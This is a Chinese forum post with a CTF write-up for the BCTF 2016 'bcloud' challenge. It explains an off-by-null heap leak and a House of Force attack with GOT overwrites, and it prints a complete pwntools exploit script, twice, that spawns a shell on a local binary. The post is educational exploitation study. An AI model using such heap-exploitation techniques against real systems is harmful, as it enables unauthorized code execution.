吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1848|回复: 0
收起左侧

[CTF] BCTF 2016 : bcloud

  [复制链接]
R00tkit 发表于 2023-9-21 17:04
本帖最后由 R00tkit 于 2023-9-21 17:05 编辑

检查文件

1

1
ELF32小端文件。

2

2

除了 PIE 保护全开。

3

3

4

4

改为glibc2.23。

试运行

5

5

逆向分析

/* main() 函数 */

void __cdecl __noreturn main()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  wel();
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        New();
        break;
      case 2:
        Show();
        break;
      case 3:
        Edit();
        break;
      case 4:
        Del();
        break;
      case 5:
        Syn();
        break;
      case 6:
        Exit();
      default:
        Invalid();
        break;
    }
  }
}
/* welcome 函数 */

int welcome()
{
  get_name();
  return get_org_host();
}
/* get_name() 函数 */
unsigned int sub_80487A1()
{
  char str[64]; // [esp+1Ch] [ebp-5Ch] BYREF
  char *heap; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(str, 0, 0x50u);
  puts("Input your name:");
  OffByNull((int)str, 0x40, '\n');
  heap = (char *)malloc(0x40u); // 如果str读取0x40大小内容,会导致粘连复制。
  dword_804B0CC = (int)heap;
  strcpy(heap, str);
  hello(heap);
  return __readgsdword(0x14u) ^ v3;
}
/* get_org_host() 函数 */
unsigned int get_org_host()
{
  char str_1[64]; // [esp+1Ch] [ebp-9Ch] BYREF // 依然存在粘连复制
  char *heap_1; // [esp+5Ch] [ebp-5Ch]
  char str_2[68]; // [esp+60h] [ebp-58h] BYREF
  char *heap_2; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(str_1, 0, 0x90u);
  puts("Org:");
  OffByNull((int)str_1, 0x40, '\n');
  puts("Host:");
  OffByNull((int)str_2, 0x40, '\n');
  heap_2 = (char *)malloc(0x40u);
  heap_1 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)heap_1;
  dword_804B148 = (int)heap_2;
  strcpy(heap_2, str_2);
  strcpy(heap_1, str_1);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}
/* OffByNull() 函数 */
int __cdecl OffByNull(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh] BYREF
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0; // off-by-null()
  return i;
}
/* hello() 函数 */

int __cdecl hello(const char *a1)
{
  printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
  return puts("Now let's set synchronization options.");
}
/* new() 函数 */
int New()
{
  int result; // eax
  int i; // [esp+18h] [ebp-10h]
  int size; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && heap_list[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  size = get_num();
  heap_list[i] = (int)malloc(size + 4);
  if ( !heap_list[i] )
    exit(-1);
  size_list[i] = size;
  puts("Input the content:");
  OffByNull(heap_list[i], size, '\n');
  printf("Create success, the id is %d\n", i);
  result = i;
  dword_804B0E0[i] = 0;
  return result;
}
/* show() 函数 */
int Show()
{
  return puts("WTF? Something strange happened.");
}
/* edit() 函数 */
int Edit()
{
  unsigned int idx; // [esp+14h] [ebp-14h]
  int v2; // [esp+18h] [ebp-10h]
  int v3; // [esp+1Ch] [ebp-Ch]

  puts("Input the id:");
  idx = get_num();
  if ( idx >= 10 )
    return puts("Invalid ID.");
  v2 = heap_list[idx];
  if ( !v2 )
    return puts("Note has been deleted.");
  v3 = size_list[idx];
  dword_804B0E0[idx] = 0;
  puts("Input the new content:");
  OffByNull(v2, v3, '\n');
  return puts("Edit success.");
}
/* del() 函数 */
int Del()
{
  unsigned int idx; // [esp+18h] [ebp-10h]
  void *ptr; // [esp+1Ch] [ebp-Ch]

  puts("Input the id:");
  idx = get_num();
  if ( idx >= 0xA )
    return puts("Invalid ID.");
  ptr = (void *)heap_list[idx];
  if ( !ptr )
    return puts("Note has been deleted.");
  heap_list[idx] = 0;
  size_list[idx] = 0;
  free(ptr);
  return puts("Delete success.");
}
/* Syn() 函数 */
int Syn()
{
  int i; // [esp+1Ch] [ebp-Ch]

  puts("Syncing...");
  for ( i = 0; i <= 9; ++i )
    sub_8048BF5(i);
  return puts("Synchronization success.");
}

漏洞分析

利用 welcome() 函数的漏洞实现 house of force。

前置脚本

from pwn import *

context.arch='i386'
context.os='linux'
context.log_level='debug'
context.terminal=['tmux', 'splitw', '-h']

ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010

is_debug = True
is_local = True

def connect():
    global elf, libc, sh
    elf = ELF('./bcloud')
    libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
    if is_local:
        sh = process('./bcloud')

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(sh, gdbscript=gdbscript)
        pause()
    else:
        pass

def new_note(size, content):
    sh.sendlineafter(b"option--->>\n", str(1).encode())
    sh.sendlineafter(b"Input the length of the note content:\n", str(size).encode())
    sh.sendlineafter(b"Input the content:\n", content)
    sh.recvline()

def edit_note(idx, content):
    sh.sendlineafter(b"option--->>\n", str(3).encode())
    sh.sendlineafter(b"Input the id:\n", str(idx).encode())
    sh.sendlineafter(b"Input the new content:\n", content)
    sh.recvline()

def del_note(idx):
    sh.sendlineafter(b"option--->>\n", str(4).encode())
    sh.sendlineafter(b"Input the id:\n", str(idx).encode())

leak_heap & top_chunk pivoting

def leak_heap():
    global top_chunk_addr

    gdb.attach(sh, 'b *0x08048815')
    sh.sendafter(b"Input your name:\n", b'a' * 0x40)
    pause()

    sh.recvuntil(b'a' * 0x40)
    leak_heap_addr = u32(sh.recvn(4))
    log.success('leak_heap_addr : 0x%x' % leak_heap_addr)

    gdb.attach(sh, 'b *0x0804897D')
    sh.sendafter(b"Org:\n", b'a' * 0x40)
    sh.sendafter(b"Host:\n", p32(0xffffffff) + (0x40 - 4) * b'b')
    sh.recvuntil(b"OKay! Enjoy:)\n")
    top_chunk_addr = leak_heap_addr + 0xd0
    pause()

11

11
get_name() 函数栈布局如上。我们先会向 str 变量读取 0x40 大小的内容,然后 off-by-null 会将 heap 指针内容置零。

10

10

8

8

之后 heap 会指向新申请的 0x40 大小空间,将终结符 '\x00' 覆盖掉。在 heap 之后又一个 /x00 截断,此时会将 heap 指向的地址复制到 top_chunk_prev_size 位置。打印会把它连带打印出来。

13

13
读入前后图。读入后,第一次 strcpy 没什么用,只是将 str_2 内容复制到 heap_2 指针指向处,第二次 strcpy 将会把 top_chunk_size 改为 0xffffffff。

14

14

15

15

第二次 strcpy 后图。

leak_libc

def leak_libc():
    global printf_addr
    margin = ptr_array - top_chunk_addr
    log.info("margin : 0x%x" % margin)
    new_note(margin - 0x4 - 0x4*4, b"") # 0 对齐
    new_note(0x40, b'a'*3) # 1
    new_note(0x40, b'b'*3) # 2
    new_note(0x40, b'c'*3) # 3
    new_note(0x40, b'd'*3) # 4
    #debug()
    edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
    #debug()
    edit_note(2, p32(puts_plt))
    #debug()
    del_note(3)

    msg = sh.recvuntil(b"Delete success.\n")
    printf_addr = u32(msg[:4])
    log.success('printf_addr : 0x%x', printf_addr)

16

16

因为 top_chunk 距离 heap_list 数组有 0xd3efb8 (每个人不一样)距离,不是对其的地址。top_chunk 对齐后会 +0x4(对齐) + 0x44(两个head) 大小。

18

18

接下来申请 4 个 0x44_algin_0x48 大小的 chunk 。会从 top_chunk==heap_list开始分配。heap_list[0]会被填充为 'a'
3 (注意'\x00')。利用heap_list[1]可以达到任意地址写和泄露的作用。

7

7

9

9

将 heap_list[2] = free_got,heap_list[3] = printf_got。然后修改 heap_list[2] == free_got = puts_plt。释放 3 将printf_got表里的内容泄露出来,从而得到 libc 地址。

get_shell

def get_shell():
    libc_base = printf_addr - libc.symbols['printf']
    system_addr = libc_base + libc.symbols['system']
    str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
    log.success("str_bin_sh : 0x%x" % str_bin_sh)
    edit_note(1, p32(str_bin_sh) * 2 + p32(free_got))
    edit_note(2, p32(system_addr))
    del_note(0)

同理,将 free_got 改为 system 地址,将heap_list[0]指向存有 b'/bin/sh\x00'的地址。然后del(0)即可get_shell。

12

12

exp

from pwn import *

context.arch='i386'
context.os='linux'
context.log_level='debug'
context.terminal=['tmux', 'splitw', '-h']

ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010

is_debug = True
is_local = True

def connect():
    global elf, libc, sh
    elf = ELF('./bcloud')
    libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
    if is_local:
        sh = process('./bcloud')

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(sh, gdbscript=gdbscript)
        pause()
    else:
        pass

def new_note(size, content):
    sh.sendlineafter(b"option--->>\n", str(1).encode())
    sh.sendlineafter(b"Input the length of the note content:\n", str(size).encode())
    sh.sendlineafter(b"Input the content:\n", content)
    sh.recvline()

def edit_note(idx, content):
    sh.sendlineafter(b"option--->>\n", str(3).encode())
    sh.sendlineafter(b"Input the id:\n", str(idx).encode())
    sh.sendlineafter(b"Input the new content:\n", content)
    sh.recvline()

def del_note(idx):
    sh.sendlineafter(b"option--->>\n", str(4).encode())
    sh.sendlineafter(b"Input the id:\n", str(idx).encode())

def leak_heap():
    global top_chunk_addr

    #gdb.attach(sh, 'b *0x08048815')
    sh.sendafter(b"Input your name:\n", b'a' * 0x40)
    #pause()

    sh.recvuntil(b'a' * 0x40)
    leak_heap_addr = u32(sh.recvn(4))
    log.success('leak_heap_addr : 0x%x' % leak_heap_addr)

    #gdb.attach(sh, 'b *0x0804897D')
    sh.sendafter(b"Org:\n", b'a' * 0x40)
    sh.sendafter(b"Host:\n", p32(0xffffffff) + (0x40 - 4) * b'b')
    sh.recvuntil(b"OKay! Enjoy:)\n")
    top_chunk_addr = leak_heap_addr + 0xd0
    #pause()

def leak_libc():
    global printf_addr
    margin = ptr_array - top_chunk_addr
    log.info("margin : 0x%x" % margin)
    new_note(margin - 0x4 - 0x4*4, b"") # 0 对齐
    new_note(0x40, b'a'*3) # 1
    new_note(0x40, b'b'*3) # 2
    new_note(0x40, b'c'*3) # 3
    new_note(0x40, b'd'*3) # 4
    #debug()
    edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
    #debug()
    edit_note(2, p32(puts_plt))
    #debug()
    del_note(3)

    msg = sh.recvuntil(b"Delete success.\n")
    printf_addr = u32(msg[:4])
    log.success('printf_addr : 0x%x', printf_addr)

def get_shell():
    libc_base = printf_addr - libc.symbols['printf']
    system_addr = libc_base + libc.symbols['system']
    str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
    log.success("str_bin_sh : 0x%x" % str_bin_sh)
    edit_note(1, p32(str_bin_sh) * 2 + p32(free_got))
    edit_note(2, p32(system_addr))
    del_note(0)

def pwn():
    connect()
    leak_heap()
    leak_libc()
    get_shell()
    sh.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hrh123 + 1 + 1 用心讨论,共获提升!
10JQKA + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 16:00

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表